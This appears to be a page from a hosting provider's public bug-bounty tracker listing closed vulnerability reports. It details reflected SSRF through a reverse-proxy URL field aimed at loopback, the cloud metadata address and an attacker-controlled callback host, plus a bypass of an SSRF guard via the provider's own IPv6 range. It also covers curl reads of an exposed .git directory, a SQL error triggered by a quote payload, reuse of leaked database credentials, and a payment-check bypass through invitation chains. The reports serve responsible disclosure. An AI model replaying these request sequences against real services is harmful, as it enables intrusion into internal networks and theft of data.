An authenticated customer (Free plan) can set this upstream URL to an arbitrary destination. Alwaysdata's shared proxy/backend infrastructure (alproxy) then fetches the configured URL on every request to the site and returns the full upstream response body to the requester (reflected, not blind).

Live testing shows:
There is no save-time guard. Plain internal targets such as http://127.0.0.1:80/ and http://169.254.169.254/ are accepted with no validation error and are actually attempted by the infrastructure.
The upstream response is fully reflected to the requester.
The fetch node routes into the 10.0.0.0/8 internal datacenter network, demonstrated by a fast RST to 10.0.0.1 versus ~20 second timeouts to 192.168.0.0/16 and 172.16.0.0/12.

Affected Component
Endpoint:
https://admin.alwaysdata.com/site/<id>/

Site type: reverse_proxy

Field: url ("Remote URL")

The endpoint is reachable with the ordinary web session cookie; no API token or 2FA is required.

The fetch is executed by Alwaysdata infrastructure. Responses carry:

via: 1.1 alproxy

For external upstreams, a second hop was also observed:

mchunt.alwaysdata.net

Egress infrastructure IPs observed at Collaborator:

185.31.40.97 — DNS 185.31.41.11 — HTTP Steps to Reproduce

Preconditions:
Web session for account A and a Burp Collaborator host $C.

1. Log in

GET /login/

Grab the CSRF token and then:

POST /login/

with:

csrfmiddlewaretoken
login
password

The response sets the sessionid cookie.

2. Render the reverse_proxy subform

GET /site/1072866/?_field_type=reverse_proxy

This reveals the field:

url

labelled "Remote URL".

3. Save the site as a reverse proxy pointing at the attacker

Re-serialize the form and submit:

POST /site/1072866/

with:

type=reverse_proxy&url=http://poc.$C/upstream

plus the addresses formset.

Response:

302 → /site/

The configuration is accepted with no validation error.

Wait approximately 20 seconds for the install task.

4. Trigger the fetch

GET http://mchunt.alwaysdata.net/reqpath

The response body is the Collaborator's response.

Response headers show:

server: Burp Collaborator
via: 1.1 alproxy

Collaborator logs a DNS + HTTP interaction originating from Alwaysdata infrastructure.

5. Internal differential

Repeat step 3 with the following upstream URLs and re-request the site:

http://127.0.0.1:80/

→ HTTP 404 "Site not found", via: 1.1 alproxy, 1.1 alproxy, <1 second.

http://127.0.0.1:6379/

→ 503 in ~0.6 seconds (connection refused).

http://169.254.169.254/…

→ 503 after ~20 seconds (link-local not routable; no AWS/OpenStack IMDS).

http://10.0.0.1/

→ 503 in ~1.5 seconds (fast RST → host on the internal segment).

http://192.168.0.1/ http://172.16.0.1/

→ 503 after ~20 seconds (filtered / no route).

In every case, the save succeeds with no guard error and the reachable body is reflected back.

6. Redirect behavior

Using:

url=http://google.com/

returns the raw:

301 Moved

upstream response.

The proxy does not follow redirects, so the  FS#460  redirect-follow variant does not apply here.

PoC
poc/ssrf_reverse_proxy_reflected.sh
Helpers:

rp_edit.py
form_submit.py
Evidence

External reflected read (request-time):
Collaborator HTTP log:

GET /upstream/reqtime HTTP/1.1
Host: rpsave.<collab>
via: 1.1 alproxy, 1.1 mchunt.alwaysdata.net
X-Forwarded-For: <my-ip>
X-Forwarded-Host: mchunt.alwaysdata.net

→ HTTP 200, with the upstream body reflected to me.

No-guard save:

POST /site/1072866/

with:

url=http://169.254.169.254/latest/meta-data/

Response:

302 → /site/

The save succeeds.

Re-reading the edit form shows:

name="url" value="http://169.254.169.254/latest/meta-data/"

The internal reachability differential described above demonstrates that the fetch node is on / routes to the 10.0.0.0/8 network.

Impact

This provides authenticated SSRF from Alwaysdata's shared proxy/backend infrastructure with full response reflection.

The fetch node routes into the internal 10.0.0.0/8 datacenter network.

Demonstrated impact:

Reflected full-read SSRF
Internal network reachability

Remediation
Apply an egress allow/deny policy on the reverse_proxy upstream fetch.

Specifically:

Reject upstreams that resolve to loopback, link-local, RFC1918 and Alwaysdata's own infrastructure ranges at save time.
Re-validate the destination after every DNS resolution and redirect.
Firewall the proxy/backend fetchers off the internal 10.0.0.0/8 control network to prevent internal network reachability.
Confirm that the  FS#460 /461/462 guard is actually wired into the live reverse_proxy fetch path.

 466  Exposed .git directory at security.alwaysdata.com (regr ...Closed31.08.2026 Task Description

EXPOSED .GIT DIRECTORY AT SECURITY.ALWAYSDATA.COM (REGRESSION OF  FS#428 )

Target: https://security.alwaysdata.com/.git/ Class: Information Exposure (Sensitive File / Source Code Metadata Disclosure)
Finding type: Regression (previously fixed vulnerability re-introduced)


SUMMARY

The .git directory on security.alwaysdata.com is publicly accessible. Core Git files (config, HEAD, index, packed-refs, refs/heads/master) return HTTP 200 with no authentication. The same issue was reported as  FS#428  and closed as Fixed on 01.08.2026 by cbay. It is back 28 days later.

Exposed: repository metadata, the full deployment file tree (942 index entries), branch names, and commit hashes. The object store (objects/) returns 404, so the source code itself cannot be fully downloaded.


VULNERABILITY DETAILS

Exposed files (HTTP 200):

/.git/config  ->  Repository config, origin = github.com/flyspray/flyspray.git
/.git/HEAD  ->  ref: refs/heads/master
/.git/index  ->  Valid Git index file (DIRC magic), 942 entries, 102 KB
/.git/packed-refs  ->  40+ branches (including remote branches)
/.git/refs/heads/master  ->  Commit hash a1ffafd65d5662d69e8b0334315b857449e3ea38

Not exposed (HTTP 404):

/.git/objects/<hash>  ->  Object store not accessible
/.git/objects/info/packs  ->  404
/.git/info/refs  ->  404

STEPS TO REPRODUCE

1. Repository config is readable:
   curl -s https://security.alwaysdata.com/.git/config
2. HEAD returns the active branch:
   curl -s https://security.alwaysdata.com/.git/HEAD
   Output: ref: refs/heads/master
3. Index is a genuine git file (first 4 bytes = DIRC):
   curl -s https://security.alwaysdata.com/.git/index | head -c 4
   Output: DIRC
4. packed-refs leaks the branch list:
   curl -s https://security.alwaysdata.com/.git/packed-refs
5. HEAD commit hash:
   curl -s https://security.alwaysdata.com/.git/refs/heads/master

A full runnable PoC script is attached (poc_git_exposure.txt).


IMPACT

1. The deployment file tree is exposed. The Git index lists every file on the server (942 files). An attacker can map the app and knows exactly where to look for more bugs.
2. Repository metadata leaks. Branch names and commit hashes reveal the software version and internal development patterns.
3. The fix did not hold. FS#428 was closed as Fixed on 01.08.2026, but the same issue came back. Most likely the deployment was redone without removing the .git directory from the document root.

RECOMMENDED FIX

1. Block web access to the .git directory at the server level (Apache Directory directive or rewrite rule).
2. Remove the .git directory from the deployment document root. Repositories should live outside the folder served to the public.
3. Add a regression test to the deployment process so the .git directory cannot reappear later.
4. Review access logs to check whether the .git directory has ever been downloaded.

 465  Potential SQL Injection via getfile Parameter Closed31.08.2026 Task Description

Summary:-

The getfile parameter at https://security.alwaysdata.com/ appears to be insufficiently validated. Appending a single quote (') to the parameter causes a PostgreSQL database error, revealing the backend SQL query and parameter value.

Step to repro:-

1. Open the following URL:
https://security.alwaysdata.com/?getfile=1%27

2. Observe the returned error:
Query {SELECT t.project_id, a.orig_name, a.file_name, a.file_type, t.* FROM "flyspray_attachments" a INNER JOIN "flyspray_tasks" t ON a.task_id = t.task_id WHERE attachment_id = ?} with params {1'} failed!

ERROR: invalid input syntax for type integer: "1'"
CONTEXT: unnamed portal parameter $1 = '…'

3. The error indicates that the supplied getfile value is being passed to a PostgreSQL query as a parameter and that the application exposes internal SQL/database error details.

Impact:
Database error messages are exposed to unauthenticated users.
Internal SQL query structure and database implementation details are disclosed.
If the parameter is vulnerable beyond type validation/parameter handling, this could potentially lead to SQL injection and unauthorized database access.
The disclosed SQL details can assist further targeted attacks.

 464  Exposed always data user configuration details  Closed27.08.2026 Task Description

Always data cloud mysql datasource configuration and alwaysdata database configuration details of an Alwaysdata user exposed in the github repository.

So i logged in to https://phpmyadmin.alwaysdata.com/ and i was able to access the database.

The github repo where the credentials are exposed : https://github.com/sushma23nov/CineBook/blob/33bdee3d8c94bbf51156d78466b5682343bac9b6/database.md?plain=1#L28

Fix : Ask them to store it in .env and to add it in .gitignore , and create a config file seperately for storing the configuration details.

 463  Transitive Bypass of Credit Card Verification via Neste ...Closed26.08.2026 Task Description

1. Summary
Alwaysdata requires users to link a credit card during standard public registration (/register/). This check prevents automated free-tier abuse and disposable botnet setup.

An inconsistent check exists in the profile invitation feature (/permissions/add/):

An existing account owner (User A) invites an email address (User B) with zero permissions.
User B confirms the email link, sets a password, and enters basic profile information (address and phone number) without any credit card or OTP verification.
User B opens admin.alwaysdata.com and creates an independent free hosting account (1GB disk, 256MB RAM, 0.25 CPU, dedicated SSH, public IP, HTTP server) directly from the panel without ever being asked for a credit card.
This behavior is transitive. User B can then invite User C, who completes the same onboarding flow (password, address, phone) and creates another free hosting account without linking a payment card.
This chain allows someone with a single verified account to create unlimited independent free hosting accounts without linking a payment card to the new accounts.

2. Technical Details
The Logic Gap
Alwaysdata separates user identities (Profiles) from compute containers (Accounts).

Public registration flow: A visitor fills out the registration form, links a credit card, and the system provisions an account.
Invitation flow: When a user registers through an invite link, the onboarding form asks for a password, name, address, and phone number, but completely skips the credit card step. Once logged in, the admin panel allows the user to provision a new free hosting account without checking for a payment card on file.
Public Registration:
User → Public Form → Credit Card Check → Free Account Created

Invitation Chain:
User A (Verified)

  1. > Invites User B (0 perms)
    1. > User B confirms email, sets password, enters address and phone (No card check)
    2. > User B opens panel and creates Free Account (e.g., ssh-zerr9)
    3. > User B invites User C
      1. > User C confirms email, sets password, enters address and phone (No card check)
      2. > User C opens panel and creates Free Account

3. Impact
Unbounded Free Hosting Creation: A user can create multiple independent hosting accounts with active SSH, custom domains, web services, and database instances without linking a credit card to each account.
Missing Payment Accountability: Downstream accounts created through the invitation chain have no financial record on file. If these accounts run abusive scripts or phishing pages, Alwaysdata cannot trace them back to a payment method.
4. Steps to Reproduce
Log in to https://admin.alwaysdata.com/ using an existing account (User A).
Go to https://admin.alwaysdata.com/permissions/add/.
Enter a new email address (User B), uncheck all permission boxes, and submit the form.
Open the confirmation link sent to User B. Set a password and fill in the address and phone number fields. Notice that the registration finishes without asking for a credit card or SMS OTP.
Log in to https://admin.alwaysdata.com/ as User B.
From the dashboard, click to create a new account, select the Free plan (1GB disk, 256MB RAM), and confirm.
Confirm that the account provisions immediately with full SSH and web access (e.g., ssh-zerr9.alwaysdata.net).
While logged in as User B, go to /permissions/add/ and invite User C.
Have User C confirm their email, complete the password and address setup, log in, and create another free account. The account provisions without asking for a credit card.
5. Suggested Remediation
Check Payment Details on Account Creation: Require a linked credit card on the account creation action itself (/account/add/), not just on the public registration form.
Restrict Invited Profiles: Require invited collaborator profiles to add and verify a payment method before they can spin up standalone hosting accounts.
Limit Invitation Permissions: Only allow profiles with verified payment details to send out new user invitations.

 462  SSRF guard does not cover your own infrastructure, whic ...Closed26.08.2026 Task Description

Summary

The address guard added after  FS#401  decides on private versus public address ranges. It refuses RFC1918, loopback, link-local and ULA. Your own internal hosts are not in any of those ranges: they sit in your global allocation 2a00:b6e0::/32, which the guard treats as ordinary public space and allows. From inside, www, admin, api and webmail.alwaysdata.com all resolve to 2a00:b6e0:1:84:1::1, which is overlord-core.paris1.alwaysdata.com, and none of those names publish an AAAA record publicly. So the guard leaves the hosts it most needs to protect in its permitted class, and no parser trick is required to reach them. This is a different root cause from  FS#461 , which is about how IPv4 literals are parsed rather than which ranges the guard treats as safe.

Vulnerable asset

https://admin.alwaysdata.com/site/application/script/<id>/, field script_upstream_uri, fetched by POST …/update_script/.

The fetching host answers from 2a00:b6e0:1:84:1::1 and identifies itself as python-requests/2.32.5.

Root cause

The guard implements a deny list of private ranges rather than an allow list of destinations the fetcher is permitted to reach. That model only works when everything sensitive is inside those private ranges. On your platform it is the other way round: tenant services are given ULA addresses, which the guard blocks, while your own management hosts use globally-routable addresses, which it allows. The guard therefore protects tenant-to-tenant traffic and leaves your own infrastructure exposed to it.

Attack path

Everything below was measured from a script object on my own account and from my own shell on ssh2. I did not connect to any of your internal services.

First, the guard does block ULA, and I proved that with a service of my own rather than by inference. I ran python3 -m http.server 8199 on my account, which binds to my tenant address fd00::7:89a5, serving a file containing a marker. Note that ip -6 addr does not list that address, only the node's 2a00:b6e0:1:50:1::1, so the bound address has to be read from ss -lnt. From my own shell the URL works:

$ curl http://[fd00::7:89a5]:8199/marker.txt
SSRF-RANGE-PROOF-2a00b6e0

Submitting that same URL as script_upstream_uri returns in 0.632702s, repeated at 0.590323s, and leaves the installation script field at its baseline, so nothing was fetched.

That the fetcher can actually route to that address is not something you have to take from me: it is in  FS#460 , which you fixed and paid. That report records direct http://[fd00::7:89a5]:8080/ 0.601s refused by guard alongside redirect → http://[fd00::7:89a5]:8080/ 20.381s connection attempted, timed out. Same address, same fetcher. So a sub-second answer with an empty field is the guard refusing, not the network failing.

Second, the guard allows global IPv6, and there the fetch really happens. Pointing the field at example.com's AAAA record returned the origin's response body, which was stored in the installation script field where I read it back:

script_upstream_uri = http://[2606:4700:10::6814:179a]/     0.595333s

What landed in the installation script field was the origin's own error page: "400 Bad Request" as both the title and the heading, ending with a footer line reading "cloudflare". I have written its text out rather than pasting the markup, since raw tags do not survive this tracker's formatting. The point is not the page itself but that a body came back from a global IPv6 address and was stored where I can read it.

Third, your own hosts are in that allowed class. From my shell on ssh2:

$ for h in www admin api webmail security; do getent hosts $h.alwaysdata.com; done
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com www.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com admin.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com api.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com webmail.alwaysdata.com
2a00:b6e0:1:210:1::1 security.alwaysdata.com

From the public internet the same names resolve to 185.31.40.5 and publish no AAAA at all, so those v6 addresses are an internal view rather than something the public is directed to.

Putting the three together: an address in 2a00:b6e0::/32 is accepted by the guard, an address the fetcher can reach is fetched and its body is handed back to me, and your own management hosts live in 2a00:b6e0::/32.

Impact

Any HTTP service on your internal hosts is reachable from this fetcher and its response body is readable by the customer who submitted the URL, with no notation trick as in  FS#461  and no redirect as in  FS#460 . The guard does not stand between a customer and your infrastructure, only between a customer and other tenants.

This matters more than a single bypass because the guard is currently the whole protection on this feature. The  FS#460  fix removed redirect following, so there is no second control behind it.

Your own tracker sets the context for what class of host is in that permitted range:  FS#415  describes overlord-core as the core management server for the platform. That is the same host this fetcher runs on and the same host the internal names above resolve to.

I stopped at demonstrating the address class. Following the SSRF guidance in your rules I did not connect to any internal service, so I cannot tell you what is listening there or what could be retrieved. I am happy to demonstrate that on request or in a development environment.

Suggested fix

Reverse the model. Rather than denying a list of private ranges, deny everything and allow only what the feature legitimately needs, which for an installation script source is public HTTP outside your own networks. At a minimum, add your own allocations, including 2a00:b6e0::/32 and any other prefix your infrastructure uses, to the refused set alongside the private ranges, and apply the check to the resolved address rather than to the submitted string.

It is also worth deciding whether this fetcher needs to run on the management host at all. Moving it to an egress-restricted worker would make the guard a second line of defence rather than the only one.

Testing notes

All testing used a script object on my own account, which has been deleted, and a listener I ran on my own hosting account, which has been stopped and removed. Manual requests only, no automated scanner. I did not connect to any of your internal services: the only destinations fetched were example.com over IPv6 and my own hosting account. The DNS observations come from ordinary getent lookups on my own shell.

 461  Incomplete fix for FS#401: SSRF guard does not normalis ...Closed26.08.2026
 460  Incomplete fix for FS#401: SSRF address guard is not re ...Closed25.08.2026
 456  Working Directory Path Traversal Allows Directory Enume ...Closed24.08.2026
 455  Cross-Tenant Write Primitive via World-Writable Shared  ...Closed19.08.2026
 454  Per-Site WAF Partial Bypass: application/xml Bodies Onl ...Closed19.08.2026
 453  Per-Site WAF Bypass: application/json POST Bodies Are N ...Closed19.08.2026
 452  FINDING-5 — Cross-Tenant Loopback (127.0.0.1) Service E ...Closed19.08.2026
 450  Per-site WAF fully bypassable by any co-tenant — attack ...Closed20.08.2026
 449  Service Working Directory Path Traversal Allows Filesys ...Closed19.08.2026
 446  Missing Authorization Check Allows Unauthenticated Acce ...Closed19.08.2026
 445  High — FS#390 Incomplete Fix: Runtime-Control Environme ...Closed19.08.2026
 443  Authenticated API Disclosure of DKIM Private Keys Closed13.08.2026
 442  Cross-User File Read / Insecure File Permissions Leadin ...Closed13.08.2026
 440  Incomplete Fix for FS#426 - Staff Files Still Publicly  ...Closed10.08.2026
 438  Title: Domain Transfer Logic Flaw Allows Domain Takeove ...Closed18.08.2026
 433  Password Reset Tokens Not Invalidated After Password Ch ...Closed07.08.2026
 432  Improper Cache Control Enabling Sensitive Data Exposure ...Closed05.08.2026
 430  Cross-Tenant Localhost Access via Shared Network Namesp ...Closed02.08.2026
 429  Cross-Site Request Forgery (CSRF) Allows Unauthorized L ...Closed02.08.2026
 428  Retrievable .git directory exposes source code of secur ...Closed01.08.2026
 427  Cross-Account Takeover via Token Re-Partition Closed04.08.2026
 426  Internal staff account and privilege hierarchy disclosu ...Closed04.08.2026
 425  Race Condition Allows Mass Permission Creation Bypassin ...Closed29.07.2026
 424  Price Manipulation leads to add domain in lesser price Closed29.07.2026
 423  Broken Object Level Authorization (IDOR) → Mass PII Dis ...Closed10.08.2026
Showing tasks 1 - 50 of 401 Page 1 of 9

Available keyboard shortcuts

Tasklist

Task Details

Task Editing